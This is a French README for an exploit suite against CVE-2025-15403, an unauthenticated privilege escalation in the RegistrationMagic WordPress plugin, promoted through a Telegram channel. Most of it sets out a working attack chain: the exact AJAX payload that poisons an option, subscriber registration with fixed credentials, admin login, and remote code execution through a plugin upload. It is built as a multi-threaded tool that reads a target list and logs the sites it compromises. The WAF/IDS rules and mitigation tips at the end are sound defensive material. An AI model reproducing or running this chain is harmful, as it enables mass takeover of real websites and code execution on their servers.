
RegistrationMagic <= 6.0.7.1 - Élévation de privilèges non authentifiée via admin_order
RegistrationMagic <= 6.0.7.1 - Élévation de privilèges non authentifiée via admin_order
,-. . , ,--. ,-. ,-. ,-. ;--' , ;--' ,. ,-. ,--,
/ | / | ) / /\ ) | '| | / | / /\ /
| | / |- --- / | / | / `-. --- | `-. '--| | / | `.
\ |/ | / \/ / / ) | ) | \/ / )
`-' ' `--' '--' `-' '--' `-' ' `-' ' `-' `-'
📡 Les renseignements sortent ici en premier. Suivez @KNxploited sur Telegram — divulgations CVE précises, exploits fonctionnels et recherche de vulnérabilités approfondie. Le canal pour ceux qui n'attendent pas les nouvelles — ils les créent.
CVE-2025-15403 est une vulnérabilité d'élévation de privilèges CVSS 9.8 Critique dans le plugin RegistrationMagic pour WordPress.
La faille réside dans la fonction add_menu du plugin, exposée sans authentification via l'action AJAX rm_user_exists. En injectant un slug vide dans le paramètre order accompagné de l'indicateur enable_admin_order=yes, un attaquant manipule la logique interne de génération du menu du plugin. Lorsque le menu d'administration est ensuite construit, le plugin appelle silencieusement add_cap('manage_options') sur le rôle cible — élevant tout compte de niveau abonné à une capacité administrative complète.
La cause racine est que la fonction add_menu est accessible sans authentification via rm_user_exists, combinée à une absence totale de validation du slug admin_order :
// Enregistrée sans vérification de capacité
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);
public function rm_user_exists_handler() {
$slug = sanitize_text_field($_POST['rm_slug']);
$order = $_POST['order']; // ← Contrôlé par l'utilisateur, NON assaini
$role_key = /* dérivé de POST */;
$enable = $_POST['enable_admin_order'];
if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
// Stocke la commande contrôlée par l'attaquant dans les options du plugin
update_option('rm_admin_order', $order); // ex. ",menu1" → premier slug vide
}
}
// Plus tard, lors de la construction du menu d'administration...
public function add_menu() {
$order = get_option('rm_admin_order'); // ← Empoisonné par l'attaquant
$slugs = explode(',', $order);
foreach ($slugs as $slug) {
if (empty($slug)) {
// Un slug vide déclenche l'octroi inconditionnel de capacité
$role->add_cap('manage_options'); // ← CAPACITÉ ADMIN COMPLÈTE AJOUTÉE
}
}
}
Pourquoi c'est critique :
wp_ajax_nopriv_* = zéro authentification nécessaire pour empoisonner l'optionorder=,menu1 passe la vérification empty(), déclenchant add_cap('manage_options')manage_options est la capacité WordPress la plus élevée — équivalente à Administrateur╔══════════════════════════════════════════════════════════════════════════╗
║ ÉTAPE 1 — Empoisonnement d'option non authentifié ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-admin/admin-ajax.php
action = rm_user_exists
rm_slug = rm_options_admin_menu
order = ,menu1 ← premier élément vide = slug vide
_Subscriber = 1 ← clé du rôle cible
restore = false
enable_admin_order= yes
Réponse : HTTP 200 (toute réponse non bloquée = option empoisonnée)
↓ Le plugin stocke order=",menu1" dans wp_options
↓ La prochaine construction du menu admin déclenche add_cap('manage_options') sur le rôle Abonné
╔══════════════════════════════════════════════════════════════════════════╗
║ ÉTAPE 2 — Acquisition de compte (Abonné) ║
╚══════════════════════════════════════════════════════════════════════════╝
Option A — S'inscrire via le formulaire d'inscription du site (Mode 0) :
GET /wp-login.php?action=register → détection intelligente du formulaire
POST → créer un compte abonné
Identifiants : NXploited / xplpass123
Option B — Utiliser un compte abonné existant.
╔══════════════════════════════════════════════════════════════════════════╗
║ ÉTAPE 3 — Connexion + Récupération de capacité ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-login.php
log = NXploited
pwd = xplpass123
↓
Le compte abonné possède désormais manage_options → accès complet au panneau d'administration
╔══════════════════════════════════════════════════════════════════════════╗
║ ÉTAPE 4 — Vérification approfondie et RCE via téléversement de plugin ║
╚══════════════════════════════════════════════════════════════════════════╝
GET /wp-admin/ → Tableau de bord admin accessible ✔️
GET /wp-admin/plugin-install.php → Page d'installation de plugin accessible ✔️
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip → Plugin téléversé et exécuté ✔️
GET /wp-content/plugins/Nxploited/hello.php
La réponse contient "Nxploited" → RCE CONFIRMÉE ✔️
Cette suite d'exploitation fournit trois modes distincts pour couvrir l'ensemble du cycle de vie de l'attaque :
pip install requests colorama urllib3
Python 3.8+ requis. Python 3.10+ recommandé (utilise les annotations de type union
X | Y).
CVE-2025-15403/
├── CVE-2025-15403.py # Suite d'exploitation principale
├── list.txt # URL cibles — une par ligne
│
├── rm_register_results.txt # Mode 0 : inscriptions réussies
├── rm_exploit_results.txt # Modes 1 et 2 : journal de déclenchement de la primitive
├── rm_admin_verify.txt # Mode 2 : journal de connexion + vérification admin
├── rm_plugin_uploads.txt # Mode 2 : journal des tentatives de téléversement de plugin
│
├── rm_admin_dashboard_success.txt # ✔ Sites où le tableau de bord admin est confirmé
├── rm_plugin_install_access.txt # ✔ Sites où la page d'installation de plugin est accessible
└── rm_plugin_rce_success.txt # ✔ Sites où la RCE via téléversement de plugin est confirmée
Les trois fichiers
_successen bas représentent des niveaux de compromission progressifs — chacun est écrit indépendamment dès que sa condition est confirmée.
Créez list.txt avec une URL ou un nom d'hôte par ligne :
https://target1.com
https://target2.com
http://target3.com/wordpress
target4.com
Les noms d'hôtes sans schéma sont automatiquement préfixés par
https://. Les installations WordPress en sous-répertoire (ex./wordpress) sont détectées et gérées automatiquement.
python CVE-2025-15403.py
Tous les paramètres vous seront demandés de manière interactive. Exemple de session pour le Mode 2 :
Select mode (0 = register, 1 = exploit, 2 = exploit+verify) [0]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 20
HTTP timeout (seconds) [10]: 12
Role key to escalate (e.g. _Subscriber, _Editor) [_Subscriber]: _Subscriber
Username to login with (e.g. NXploited) [NXploited]: NXploited
Password for that user [xplpass123]: xplpass123
Output file for admin verification [rm_admin_verify.txt]: rm_admin_verify.txt
Output file for plugin upload tests [rm_plugin_uploads.txt]: rm_plugin_uploads.txt
Send primitive before login in mode 2? (yes/no) [yes]: yes
[14:31:01] info | Mode 2: Exploit + Login + Deep Verify | Targets: 200
[14:31:02] SESSION | https://target.com | PRIM: OK | REG: SKIP | LOGIN: OK | ACCESS: admin_full_plugin_upload
[14:31:03] SESSION | https://target2.com | PRIM: OK | REG: SKIP | LOGIN: FAIL | ACCESS: bad_credentials
[14:31:04] SESSION | https://target3.com | PRIM: FAIL | REG: SKIP | LOGIN: - | ACCESS: NO HIT
rm_admin_dashboard_success.txtSites où le compte abonné a accédé avec succès à /wp-admin/ après l'élévation de privilèges :
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - ADMIN_DASHBOARD - verify_admin_dashboard
rm_plugin_install_access.txtSites où la page d'installation de plugin était accessible (confirmant manage_options) :
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - PLUGIN_INSTALL_ACCESS=https://victim.com/wp-admin/plugin-install.php?tab=upload - plugin-install-access
rm_plugin_rce_success.txtSites où un plugin de test a été téléversé et exécuté — RCE confirmée :
[2025-04-18 14:31:05] https://victim.com - NXploited:xplpass123 - PLUGIN_RCE=https://victim.com/wp-content/plugins/Nxploited/hello.php - AdminUpload
Le Mode 2 effectue une vérification graduée en trois étapes — chaque étape est indépendante et écrit son propre fichier de résultats :
Étape 1 — Tableau de bord admin
GET /wp-admin/
GET /wp-admin/index.php
GET /wp-admin/users.php
Vérifier : "dashboard", "adminmenu", "manage_options", "plugins.php"
✔ → écrit dans rm_admin_dashboard_success.txt
Étape 2 — Accès à la page d'installation de plugin
GET /wp-admin/plugin-install.php
GET /wp-admin/plugin-install.php?tab=upload
Vérifier : "upload-plugin", "plugin-upload-form", "pluginzip"
✔ → écrit dans rm_plugin_install_access.txt
Étape 3 — Téléversement et exécution réels d'un plugin (preuve de RCE)
Extraire _wpnonce de la page plugin-install
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip (généré en mémoire)
GET /wp-content/plugins/Nxploited/hello.php
Vérifier que le corps de la réponse contient "Nxploited"
✔ → écrit dans rm_plugin_rce_success.txt
Chaque étape réussie est enregistrée indépendamment — une cible qui passe l'étape 1 mais pas l'étape 3 est tout de même capturée dans rm_admin_dashboard_success.txt.
Le Mode 0 utilise un analyseur de formulaires HTML personnalisé pour détecter et soumettre automatiquement les formulaires d'inscription WordPress — y compris les formulaires personnalisés RegistrationMagic :
URL sondées (dans l'ordre) :
/wp-login.php?action=register
/register/
/signup/
/wp-signup.php
/wp-login.php
Pour chaque page :
→ Analyser tous les éléments <form>
→ Noter chaque formulaire (0–200 points) :
+100 champs "user_login" + "user_email" présents
+ 60 champs email + ressemblant à un nom d'utilisateur présents
+ 30 champs de saisie préfixés rm_* (spécifiques à RegistrationMagic)
+ 20 l'id/la classe du formulaire contient "register" / "signup"
+ 10 le corps de la page mentionne "register" / "sign up"
→ Soumettre le formulaire avec le score le plus élevé (seuil : 40+)
→ Vérifier le succès via le corps de la réponse / l'URL de redirection
Motif réseau généré par l'exploit — pour les défenseurs et les auteurs de WAF/IDS :
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=rm_user_exists&rm_slug=rm_options_admin_menu&order=%2Cmenu1&_Subscriber=1&restore=false&enable_admin_order=yes
Règle WAF / IDS (pseudocode) :
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "rm_user_exists"
AND request.body CONTAINS "rm_options_admin_menu"
AND request.body CONTAINS "enable_admin_order=yes"
THEN BLOCK + ALERT (Tentative d'élévation de privilèges — CVE-2025-15403)
Détection supplémentaire — Empoisonnement d'option :
Surveiller la table wp_options :
IF option_name = "rm_admin_order"
AND option_value COMMENCE PAR ","
THEN ALERTE — exploitation potentielle de CVE-2025-15403
Si vous êtes propriétaire de site, développeur ou défenseur, agissez immédiatement :
wp_options — vérifiez la valeur de rm_admin_order pour toute entrée suspecte (par exemple, commençant par ,)manage_optionswp_ajax_nopriv_* — n'exposez jamais les fonctions d'écriture d'options sans authentificationorder — rejetez les valeurs contenant des segments de slug videsadmin-ajax.php contenant rm_options_admin_menu au niveau du WAFrm_user_exists provenant de sources non authentifiéesCET OUTIL EST FOURNI STRICTEMENT À DES FINS ÉDUCATIVES, DE TEST
D'INTRUSION AUTORISÉ ET DE RECHERCHE EN SÉCURITÉ UNIQUEMENT.
En téléchargeant, exécutant ou modifiant ce script, vous acceptez
explicitement :
• Vous détenez une autorisation EXPLICITE ET ÉCRITE du propriétaire de
chaque système cible que vous testez. Aucune exception. Aucune supposition.
• Vous opérez dans le cadre d'un engagement de test d'intrusion formellement
défini et autorisé, ou d'un environnement de laboratoire contrôlé qui vous
appartient.
• Vous NE déploierez PAS cet outil contre un système, un réseau ou une
infrastructure sans autorisation légale documentée.
• Nxploited et tous les contributeurs n'assument AUCUNE responsabilité en cas
d'utilisation non autorisée, de perte de données, de dommages système, de
procédures judiciaires ou de poursuites pénales découlant de l'utilisation
de cet outil sous quelque forme que ce soit.
L'utilisation non autorisée de cet exploit constitue une infraction pénale au
titre de :
— Computer Fraud and Abuse Act (CFAA), États-Unis
— Computer Misuse Act (CMA), Royaume-Uni
— Directive UE 2013/40/UE relative aux attaques contre les systèmes d'information
— Loi saoudienne contre la cybercriminalité (n° M/17)
— Et toutes les législations nationales et internationales équivalentes en matière de cybercriminalité.
UTILISEZ RESPONSABLEMENT. HACKEZ ÉTHIQUEMENT. DIVULGUEZ RESPONSABLEMENT.
| Pseudo | Nxploited |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Suivez @KNxploited sur Telegram Des CVE fraîches. Des exploits fonctionnels. Pas de bruit. Pas de délai. Le canal où les chercheurs sérieux restent affûtés.
| Champ | Détails |
|---|
| ID CVE | CVE-2025-15403 |
| Plugin | RegistrationMagic |
| Slug | registrationmagic / custom-registration-form-builder-with-submission-manager |
| Versions affectées | Toutes les versions jusqu'à 6.0.7.1 incluse |
| Type de vulnérabilité | Élévation de privilèges non authentifiée |
| Exigence d'attaque | Étape AJAX : aucune. Exploitation : compte abonné |
| Vecteur d'attaque | Réseau |
| Score CVSS 3.1 | 9.8 CRITIQUE |
| Vecteur CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Impact | Reprise totale de l'administrateur WordPress |
| Chercheur | Nxploited |
| Mode | Nom | Description |
|---|
0 | Inscription uniquement | Détection intelligente du formulaire WordPress + inscription d'un compte abonné |
1 | Exploitation uniquement | Déclenche la primitive AJAX non authentifiée pour empoisonner admin_order |
2 | Exploitation + Connexion + Vérification | Chaîne complète : primitive → connexion → tableau de bord admin → installation de plugin → RCE |
| Dépendance | Objectif |
|---|
requests | Sessions HTTP, gestion des cookies, suivi des redirections |
colorama | Sortie terminal colorée multiplateforme |
urllib3 | Suppression des avertissements SSL pour les certificats auto-signés |
concurrent.futures | Pool de threads pour le scan multi-cibles à haut débit |
zipfile | Génération en mémoire du ZIP du plugin de test pour la vérification RCE |
html.parser | Détection intelligente du formulaire d'inscription et extraction des champs |
| Couleur | Balise | Signification |
|---|
| 🔵 Cyan | info | Informationnel — démarrage du mode, configuration |
| 🟢 Vert | ok | Succès complet — accès admin ou RCE confirmé |
| 🟡 Jaune | warn | Résultat partiel — primitive OK mais échec de connexion, etc. |
| 🔴 Rouge | err | Échec critique — fichier introuvable, exception, blocage |
| Paramètre | Défaut | Description |
|---|
| Mode | 0 | Mode d'attaque : 0 = Inscription, 1 = Exploitation, 2 = Chaîne complète |
| Fichier de cibles | list.txt | Fichier contenant les URL cibles |
| Threads | 5 (pas de maximum strict) | Workers concurrents du ThreadPoolExecutor |
| Timeout | 10 secondes | Délai d'attente HTTP par requête |
| Clé de rôle | _Subscriber | Rôle WordPress à élever (_Editor, _Author, etc.) |
| Nom d'utilisateur | NXploited | Compte à inscrire / avec lequel se connecter |
| Mot de passe | xplpass123 | Mot de passe du compte |
| Envoyer la primitive | yes | Indique si l'étape AJAX doit être déclenchée avant la connexion en Mode 2 |